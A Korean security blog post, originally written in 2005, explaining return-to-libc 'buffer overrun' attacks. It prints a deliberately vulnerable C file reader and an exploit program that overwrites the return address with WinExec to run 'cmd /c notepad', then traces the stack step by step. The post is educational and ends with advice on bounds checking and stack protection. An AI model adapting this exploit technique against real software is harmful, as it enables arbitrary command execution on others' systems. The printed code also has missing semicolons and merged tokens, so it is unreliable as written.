반응형


2005년에 제가 작성했던 글입니다. 


요 약

대부분의 운영체제 및 어플리케이션의 해킹 방법 중 하나인 버퍼 오버플로우와 변종 형태인 버퍼 오버런에 대하여 원인을 분석하고 이해할 수 있도록 설명한다.

18, Aug, 2005

Written by 크레이지제이

 I. 서론

버퍼오버플로우 기법은 1988는 Robert Morris fingerd attack으로 알려지기 시작해 악의적인 목적을 가진 침입 방법으로 가장 많이 사용되고 있다.

Overflow는 Stack Overflow, Frame pointer overflow, Format string overflow, Heap overflow 등으로 구분되어진다.

그러나, 여기서 설명하고자 하는 Buffer overrun은 Buffer overflow와는 약간 차이점이 있다.

과거 인터넷 대란을 일으켰던 SQL slammer 웜의 경우가 바로 버퍼오버런 공격 형태에 해당된다.

 

II. 버퍼오버플로우 vs. 버퍼오버런

 

Buffer overflow는 특정 영역(스택, 힙, 데이터 영역 등)을 오버플로우 시켜서 프로그램의 정상적인 의도를 벗어나 예외 상황을 만듦으로 인해서 주소 변경이나 데이터 변경을 통해 쉘코드의 수행이나 특정 오동작을 일으키는 방법으로 공격이 수행되는 코드는 스택이나 힙, 데이터 영역드에 추가되어 수행되지만, Buffer overrun은 버퍼를 오버플로우 시키는 과정은 동일하지만, 공격 수행 코드가 코드 영역에 정상적으로 존재한다는 점에서 일반적인 버퍼 오버플로우 방지 기능으로 탐지 및 방어가 되지 않는다는 점을 들 수 있다.

일반적으로 버퍼오버플로우의 탐지 및 방어 메커니즘은 IP(instruction pointer)가 스택이나 힙등의 영역을 가리키는 경우 비정상적인 코드 수행으로 판단하여 이를 방지하는 방법이다.

그러나 버퍼오버런의 경우 리턴 주소를 변경시켜서 스택을 적절히 원하는 데이터로 조작하고 정상적인 동적 라이브러리의 API를 호출하게 함으로써 공격 코드가 코드 영역에서 발생하여 탐지가 되지 않는다.

 

III. 버퍼 오버런 공격 과정

 

1. 피공격 프로그램

 

#include <stdio.h>

 

int main(int argc, char* argv[])

{

char buffer[256]=""

FILE *fd = NULL

fd = fopen("file.txt", "rb")

if ( fd==NULL )

return printf("Couldn't open file file.txt\n")

fgets(buffer, 1000, fd)

fclose(fd)

return 0

}

 

위 프로그램은 file.txt 라는 데이터를 읽어들이는 프로그램이다. 일반적으로 stdin으로 입력받는 프로그램의 경우는 file.txt 파일의 내용을 stdin으로 보내면 동일한 효과가 나타난다.

여기서 취약한 코드가 되는 부분은 버퍼의 크기보다 읽어들인 버퍼가 더 커서 오버플로우가 발생할 가능성이 있다는 것이다.

공격을 쉽게 하기 위해서 위의 프로그램을 디버그 모드로 돌려서 buffer 주소를 알아둔다.

VC에서 디버그 모드로 buffer의 주소를 출력해본 결과 0x0012fe80 이었다.

이를 이용하여 간단한 버퍼 오버런 공격 프로그램을 작성해 보자.


 

2. 공격 프로그램

 

#include <windows.h>

#include <stdio.h>

 

char buffer[500]="cmd /c notepad &AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\

AAAAAAAAAABBBBBBCCCC"

int main(int argc, char* argv[])

{

charsraddress[8]={0,}

charpadding[8]="\x90\x90\x90\x90"

charpointer_to_command[8]="\x80\xFE\x12\x00"

FILE*fd = NULL

intfunc

fd = fopen("file.txt", "w+")

func=(int)(void*)WinExec

memcpy(sraddress, &func, 4)

memcpy(buffer+260, sraddress, 4)

memcpy(buffer+264, padding, 4)

memcpy(buffer+270, pointer_to_command, 4)

fprintf(fd, "%s", buffer)

fclose(fd)

printf("WinExec=%p\n", WinExec)

return 0

}

 

위의 공격 프로그램은 피 공격 프로그램이 읽어들일 버퍼를 파일로 생성하는 과정을 수행한다.

공격이 성공하면 피공격 프로그램 실행시 노트패드 프로그램이 실행되는 결과가 나타날 것이다.

일단 공격이 수행되는 과정을 분석해 보자.

피 공격 프로그램에서 눈여겨 보아야 할 것은 버퍼의 크기가 256바이트로써 오버플로우가 발생되면 스택의 어느 영역을 침범하는지를 알아야 한다.

 

피 공격 프로그램의 스택은 다음과 같이 구성된다.


파라미터(역순으로), 리턴 주소, 이전 모듈의 frame pointer, 마지막으로 로컬 변수가 스택에 차례로 쌓인다. Buffer가 256바이트가 넘어가면서부터는 ebp, ret 등 순서로 덮어쓰게 되는 것이다.

즉, ret 부분을 우리가 원하는 주소로 변경하게 되면 해당 주소의 코드가 수행이 될 것이다.

ret 주소는 buffer+256+4의 위치가 된다.

 

공격 프로그램에서는 위의 주소에 WinExec 함수의 주소를 입력하게 할 것이며, WinExec의 파라미터로 "cmd /c notepad" 스트링이 입력되게 할 것이다.

 

따라서 공격 프로그램에서 buffer+260 위치에 WinExec 함수의 주소를 입력하였음을 알 수 있다.

또한 그 이후, padding 4바이트와 pointer to command 4바이트(피공격 프로그램에서의 buffer 주소=0x0012fe80)를 입력하였다.

- fgets함수 호출 전 상황


- fgets 호출 이후,


위 그림에서 첫 번째 박스는 Buffer+260위치인 ret address 자리에 WinExec 함수의 주소인 0x7c86114d를 세팅하였다. (원래는 0x004015cc로 mainCTRStartup 모듈의 주소였다.)

WINBASEAPI UINT WINAPI WinExec ( LPCSTR lpCmdLine, UINT uCmdShow ) 함수의 파라미터로 uCmdShow와 lpCmdLine 주소가 세팅된 스택 상황을 연출하는 작업을 해야 한다.

main 함수는 cdecl이므로 스택정리를 main내에서 수행하지 않는다.



따라서 function epilogue 과정인 mov esp, ebp; pop ebp 과정을 수행한 다음 리턴을 하게 되는데, 리턴주소였던 영역이 pop되면서 sp가 감소하고 WinExec 주소로 이동하게 된다. WinExec에서는 function prologue 과정인 push ebp; mov ebp, esp을 수행한다. 이 상태의 스택 상황은 다음과 같다.


ebp의 값이 0x12ff84로 새로운 esp와 동일하다.(0x43434343은 saved ebp가 된다.)

ebp+4에 0x909090은 ret address가 된다.

ebp+8부터는 WinExec의 파라미터가 된다. lpCmdLine의 값이 0x0012fe80이 되며, uCmdShow의 값은 0x00430d60이 된다.

즉, WinExec의 lpCmdLine에 원하는 커맨드("cmd /c notepad & ...")를 설정하게 되었으므로, main의 리턴으로 WinExec의 모듈에 해당 버퍼가 들어감으로써 노트패드 프로그램이 수행이 된다.


 

 

V. 결론

이제까지 버퍼오버런의 공격 과정을 알아보았다. 일반 버퍼오버플로우와 다르게 커널에 상주한 동적 라이브러리인 WinExec 함수가 호출되어 코드 영역에서 수행되는 점에서 일반 다른 버퍼 오버플로우의 스택에서 수행되는 방식과는 다르게 다른 프로그램을 수행할 수 있는 가능성을 보여준 예이다.

안전한 코딩을 위해서는 항상 버퍼 사이즈 체크를 하며, 기타 컴파일러 옵션에 따른 스택 보호 기술등을 이용해야 할 것이다.

 






'Security' 카테고리의 다른 글

openssl 커맨드 / 암호화  (0) 2018.03.02
DLKM 방식의 후킹 모듈 보호 메커니즘  (1) 2015.06.07
해시(Hash)  (0) 2015.06.02

+ Recent posts